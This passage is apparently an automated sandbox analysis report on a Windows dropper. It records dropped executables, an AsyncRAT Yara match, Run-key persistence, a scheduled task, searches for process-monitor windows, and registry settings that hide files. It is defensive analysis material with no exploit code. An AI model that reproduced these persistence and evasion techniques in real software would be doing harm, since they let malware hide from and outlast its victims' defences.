Source: Gxtuum.exe.18.dr	Static PE information: real checksum: 0x0 should be: 0x71662
Source: file.exe	Static PE information: real checksum: 0x2f0aeb should be: 0x2ed302
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2f0aeb should be: 0x2ed302
Source: K6UAlAU.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x5ab50
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x1c1056 should be: 0x1b1f31
Source: 7z.dll.35.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: fihjakvg
Source: file.exe	Static PE information: section name: rlkpunhe
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: fihjakvg
Source: skotes.exe.0.dr	Static PE information: section name: rlkpunhe
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: K6UAlAU[1].exe.6.dr	Static PE information: section name: .x64
Source: K6UAlAU.exe.6.dr	Static PE information: section name: .x64
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: lpxoosqu
Source: random[2].exe.6.dr	Static PE information: section name: fbgdkutw
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 45777d8908.exe.6.dr	Static PE information: section name:
Source: 45777d8908.exe.6.dr	Static PE information: section name: .idata
Source: 45777d8908.exe.6.dr	Static PE information: section name:
Source: 45777d8908.exe.6.dr	Static PE information: section name: lpxoosqu
Source: 45777d8908.exe.6.dr	Static PE information: section name: fbgdkutw
Source: 45777d8908.exe.6.dr	Static PE information: section name: .taggant
Source: 232B06DEE822786254513.exe.7.dr	Static PE information: section name: .x64
Source: 9F33.tmp.cc.exe.11.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CD91C push ecx; ret	0_2_001CD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C1359 push es; ret	0_2_001C135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B7D91C push ecx; ret	2_2_00B7D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B7D91C push ecx; ret	3_2_00B7D92F
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Code function: 7_2_00007FF6AE22EC71 push rcx; iretd	7_2_00007FF6AE22EC72
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Code function: 7_2_00007FF6AE22EA72 push rbp; iretd	7_2_00007FF6AE22EA73
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Code function: 7_2_00007FF6AE22EC20 push 00000041h; ret	7_2_00007FF6AE22EC24
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Code function: 7_2_00007FF6AE22EC09 push rbp; iretd	7_2_00007FF6AE22EC0A
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Code function: 12_2_00007FF64C37EA72 push rbp; iretd	12_2_00007FF64C37EA73
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Code function: 12_2_00007FF64C37EC71 push rcx; iretd	12_2_00007FF64C37EC72
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Code function: 12_2_00007FF64C37EC09 push rbp; iretd	12_2_00007FF64C37EC0A
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Code function: 12_2_00007FF64C37EC20 push 00000041h; ret	12_2_00007FF64C37EC24
Source: C:\Windows\System32\audiodg.exe	Code function: 13_2_00007FF7A91BEC20 push 00000041h; ret	13_2_00007FF7A91BEC24
Source: C:\Windows\System32\audiodg.exe	Code function: 13_2_00007FF7A91BEA72 push rbp; iretd	13_2_00007FF7A91BEA73
Source: C:\Windows\System32\audiodg.exe	Code function: 13_2_00007FF7A91BEC71 push rcx; iretd	13_2_00007FF7A91BEC72
Source: C:\Windows\System32\audiodg.exe	Code function: 13_2_00007FF7A91BEC09 push rbp; iretd	13_2_00007FF7A91BEC0A
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_00007FF7E52BEC20 push 00000041h; ret	14_2_00007FF7E52BEC24
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_00007FF7E52BEA72 push rbp; iretd	14_2_00007FF7E52BEA73
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_00007FF7E52BEC71 push rcx; iretd	14_2_00007FF7E52BEC72
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_00007FF7E52BEC09 push rbp; iretd	14_2_00007FF7E52BEC0A
Source: C:\Windows\System32\msiexec.exe	Code function: 15_2_00007FF79468EC71 push rcx; iretd	15_2_00007FF79468EC72
Source: C:\Windows\System32\msiexec.exe	Code function: 15_2_00007FF79468EA72 push rbp; iretd	15_2_00007FF79468EA73
Source: C:\Windows\System32\msiexec.exe	Code function: 15_2_00007FF79468EC20 push 00000041h; ret	15_2_00007FF79468EC24
Source: C:\Windows\System32\msiexec.exe	Code function: 15_2_00007FF79468EC09 push rbp; iretd	15_2_00007FF79468EC0A
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00575EA5 push 03FFFFF9h; ret	16_2_00575EAA
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_0043CA60 push eax; mov dword ptr [esp], 11102FFEh	16_2_0043CA63
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00439F70 push eax; mov dword ptr [esp], 60616263h	16_2_00439F7F

Source: file.exe	Static PE information: section name: entropy: 7.987148620737619
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.987148620737619
Source: random[2].exe.6.dr	Static PE information: section name: lpxoosqu entropy: 7.954500170285805
Source: 45777d8908.exe.6.dr	Static PE information: section name: lpxoosqu entropy: 7.954500170285805

Source: 79F6.tmp.AsyncClient.exe.11.dr, RuKzlUtKnKFfltP.cs

High entropy of concatenated method names: 'ROHbgiDdXwwk', 'pISADtCqRbxO', 'QFyJDcXjCWMQfq', 'snRQMDDMpMTm', 'wNZzjFbVOUlkTka', 'qCERfancAfQBOKe', 'kScuSFGCkSP', 'TJpSbHdxZGJB', 'FmkzCujVDPpqrrUK', 'YARhBWFoEkPge'

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015203001\9a445eef2c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015204001\45777d8908.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	File created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	File created: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\K6UAlAU[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000000.2918234862.0000000000F42000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6737.tmp.fcxcx.exe PID: 3748, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, type: DROPPED

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5b325eedca.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 45777d8908.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Services	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9a445eef2c.exe	Jump to behavior

Monitors registry run keys for changes

Source: C:\Windows\explorer.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Windows\explorer.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Windows\explorer.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Windows\explorer.exe	Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9a445eef2c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9a445eef2c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 45777d8908.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 45777d8908.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5b325eedca.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5b325eedca.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Services	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Services	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Changes the view of files in windows explorer (hidden files and folders)

Source: C:\Windows\System32\msiexec.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced Hidden

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
